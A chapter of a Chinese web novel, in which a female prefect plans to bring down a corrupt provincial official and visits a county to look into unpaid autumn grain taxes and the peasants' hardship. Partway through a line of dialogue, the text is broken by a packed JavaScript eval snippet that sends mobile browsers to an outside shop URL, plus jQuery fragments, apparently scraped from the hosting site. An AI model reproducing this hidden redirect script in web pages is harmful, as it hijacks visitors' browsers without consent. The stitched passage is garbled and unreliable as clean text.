封决云确实也觉得狄阔有些许面熟……可是她自小出门的次数屈指可数,不论在王府还是宫中,陛下对她看管甚严,实在是想不起来与他有过什么交集。如若有,也只能是在封府的时候,难道是爹爹的门生?但是封决云那会还太小,并不与那些门生来往……不论如何,这狄阔既然想要扳倒阮艾,正中下怀,顺水推了,也省力。封决云回到府衙书房,删除所有的附加条件,签署了那份建桥卷宗,并传来了通判明栀。
“明大人,建桥的文书,我已经签署。”封决云道。
明栀脸上看不出有什么表情,但声音带着些疑惑道:“府台大人,是如何盘算的?可否告知属下?”封决云知道明栀是一个好官,她既有卢然的能力、责任感,又比卢然关心百姓、有行仁道的自觉,而且,她正在试图扩展同类的力量。
封决云亲自给她端了杯茶,明栀即刻起身接下。封决云道:“明大人,做官为何?”
“不过是让心中所学有个地方安放罢了。”明栀语气稍显无奈。
“那明大人觉得天观府内,可否实现这一理想?”封决云追问道。
明栀听罢,只是摇了摇头。
封决云笑笑,说道:“我已经与巡抚狄阔商议,可借着这次造桥一事,推倒阮艾,让他憋死在任中。”明栀听此,稍显震惊,道:“那阮艾……京中有人,恐怕此事,没那么简单。”
“这是最麻烦的地方”封决云叹口气,幽幽地踱着步伐,“我在调往天观府之前,便在翰林院翻阅过巡抚、三司长官的履历,阮艾进士出身,他的老师便是如今的翰林院学士季淮,为什么他能挪动库银先行给秋粮造册?因为户部主事谭宗耀乃是他的同年……其他的关系呢,他的履历文书并未记载,但是他能做到布政使的位置,想必在京中和王相也有勾连。”
明栀冷冷地说道:“还有一层关系,文书中不会记录,那便是姻亲关系。虽然阮艾很少提及,但是就属下所知,那阮艾的女儿,是太常寺少卿范景淳的儿媳。”
“什么?”封决云暗暗觉得不妙,“那这阮艾的女儿,岂不是范立的嫂嫂……”
难怪狄阔要拉拢自己,这阮艾,可不是那么好倒的。如果没有与之抗衡的京中势力,他必纹丝不动。封决云想起范立的哥哥——范卫,他与范立的哥哥接触不多,只知道他哥是太常寺博士,是一个温和守礼的礼乐文官。性格沉闷,甚至都不大出来走动,不像范立那般活泼好闯荡。如果阮艾一倒,必定牵扯到范家,那到时候她如何面对范立?可阮艾如此为官行径,不得不倒……
明栀见封决云有些迟疑的表情,道:“封大人,卑职比你年长些,官场浮沉,也悟出不少道理。这世上,不只有你死我活这一条路,大多时候,能够将这尊佛挪个位置,便是巨大的成功了。”
封决云点了点头,道:“此次广集桥还是要靠你监督,贾府所采买的石料是重点监督的对象,明大人,我相信你不会让我失望。”
突然,小厮来报说是湖熟县知县邓千帆有要事禀告。封决云将他请了进来,邓千帆一脸窘相,拱手道:“府台大人,不是卑职不尽力催缴秋粮,只是这湖熟县不比他县,我这县内湖多耕地少,本来产粮就不多,每年产量还极其依赖环境,涨坍无常,那些围湖造的田今年淹了不少,水还未退,耕地没办法丈量,粮食如何能按之前的秋粮数额要求缴纳?卑职实在没办法了,还望大人见谅!”
封决云听着,没有立刻接话,而是端起茶杯慢悠悠地喝起了茶,那邓千帆见她不为所动,又说道:“那些乡绅,卑职也尽力在催了,可他们要么说‘淤田刚报垦,还没起征’,要么说‘坍田未减,账不对’。卑职按照你的意思,不缴纳,我便将他们传唤到县衙对质,结果他们说我要是再如此强力催缴便要联名上书告我个苛待乡绅的罪名……”
封决云终于开口问道:“湖课、荡租,每年收多少?”
邓千帆快速地眨着眼睛,支支吾吾地说道:“这……前任知县收这些课税的帐本就混乱,卑职去年到任,今年的还未收齐,所以也不好说。”
“那前任知县的账,现在在哪?”
“在……在县里的文书库。”
“你看过吗?核查过近多少年的帐?”
“卑职事务较多……还未来得及核对那么多年……”邓千帆稍显难堪。
“邓大人,你说的我都知道了。你先回去,把湖熟县近十年的税亩底册、湖课底账,全部封存,不许任何人动。后日,我亲自去一趟。”封决云语气和缓地说道。
那邓千帆见她要亲自核查,只是道:“卑职遵命。”说罢,便退下了。
——
寒冬腊月,从湖区吹来的凛冽狂风更让湖熟县显得萧瑟,路旁已没有一片多余的叶子可以被风卷走,只能带着些沙土石砾呼啸地穿过封决云和明栀坐的马车。从天观府一直往南走的途中,封决云将车帘拉开,观察着沿途的民房和田地。
这些房子大多依着水网密布的河流而建,民居大多面朝河港。富裕些的家庭一般是二层砖房,楼上为房,楼下为室。离城里远些的郊区则是粉墙黛瓦、以砖木为主要材料建设而成的合院或正屋带侧厢的简单形制,一般都会紧贴圩堤。围绕村子的是大片大片的圩田,堤上桑树成行。
封决云看着不远处有两三家民居,背靠丘陵,远离主村,便道:“明栀,不如咱们先去那几户人家探探实情。”明栀却有一些迟疑道:“封大人,咱们私下前去,没有提前安排的话,会被参扰民的。”
封决云放下帘子,淡淡道:“为什么官员私访百姓会被参?不过是为了遮掩真相罢了,如果每个官员都私下拷问百姓,那些官员的谎言还立得住吗?正是因为平头百姓在朝堂规则之外,所以有些人才格外忌惮!不能只信一面之词,我们还是多听听百姓怎么说。”
封决云车马停到那几户人家门口,本在地里忙活的农户连忙擦干净了手迎了上去,见车内下来两位干净贵气的女官,又连忙跪下磕头。封决云将他们扶起,直说不用多礼。老汉将他们请进屋,屋内极其冰冷,老汉的妻子听到客厅动静,从厨房出来一看,知道有贵客,抱着柴火就要给他们点火盆。
“大妈,不用了。我们不冷,就别浪费柴火了。”封决云道。
明栀道:“我们是府衙来的,来问问秋税的事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941351|210834||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你们知道什么说什么就行。”
那老汉面露难色,道:“原来是两位大人,既然不让我们点火,那我便让老太婆给你们烧点热水喝吧。”老汉说罢,那老妇便转身进了厨房。“多谢了。”封决云坐在冷板凳上,有厚厚的毛毡披风垫着,倒不觉得冷。只是她见那老汉穿着单薄,扎坐在小板凳上,倒是一副舒适模样。
“我们家今年的税全部都交齐了,也算是可以过个好年了。”老汉道。
“今年所交的税,都有哪些?”封决云问道。
老汉摇了摇头,道:“我们湖熟县啊,比别的地方要可怜些,我们这些人不仅要种地、捕鱼,还要种桑叶、供丝绵,按道理来讲要富裕些吧?可我们却和其他地方的人一样,一年忙到尾,交完秋粮夏税、鱼课、徭役这些乱七八糟的税项,最后什么也没有剩下。我们家还算好,只有五口人,节约些起码可以安稳度过这个冬天。有些人家人口多,纳完税后,这个冬天只能挨过去了……”
“怎么挨呢?”封决云道。
老汉笑了起来,道:“哈哈大人估计没有挨过饿,总有办法熬过去,山里有树、土里有菜根、河里有小虾米……熬不过去,就熬不过去吧,冬天本就容易饿死人。来年开春,还能少一张嘴吃饭。”
封决云暗自深呼了一口气,又问道:“县内的那些大户呢?”
“那些老爷有功名在身,本就可以免去赋税、徭役,剩下的那一点秋粮征缴对他们来讲,伤不至皮毛。更何况……不是还有我们这些百姓给他们做工吗?上次还听说,那些大户将散田登记在我们这些百姓的头上,我们也不识字,连多交了秋粮都没发现!我们的税越交越多,他们越交越少,他们的田越来越多,我们的田越来越少……大人你说,天底下,竟有这个道理吗?”
封决云直直地说道:“没有。”
那老妇从厨房端来几杯热茶,封决云道谢后拿起一碗茶,依旧是白水、依旧有些水垢沉在碗底,封决云喝了一半。那老汉道:“说句实话,我不怕他们,再如此下去,大不了远走他乡!我老汉就不信,这世上没有我们的容身之处!”
老妇笑道:“二位大人不要乱想,我家老头就爱说这种话,我耳朵啊,都听出茧子了!”
“是我们的原因。今日,还是要多谢你们招待。”封决云起身离开,并且交代春沁给他们付了“茶水钱”。封决云一行人回到马车内,不觉手指已经冻僵了。
明栀道:“膏腴万顷,输税不过三分。那些大户即便如此,还变本加厉拖欠税粮,真正是人心不足蛇吞象。”
封决云道:“不止……就我所知,起运白粮、马草折银等额外赋税,地方上的门摊课钞、酒醋课程等杂派,最终都是落在这些百姓身上。”
明栀和封决云都沉默了,没有再感叹“哀民生之多艰”,而是将目光落在了前方,等待着与湖熟县那些大户来一场大战。
约莫半个时辰,府台大人的车马便到了县城府衙门口,邓千帆早已带领着县衙的衙役们站在府门口等候了。
封决云下了车,厉声道:“将那些欠粮的大户全部请来,就说本知府请他们吃个便饭。”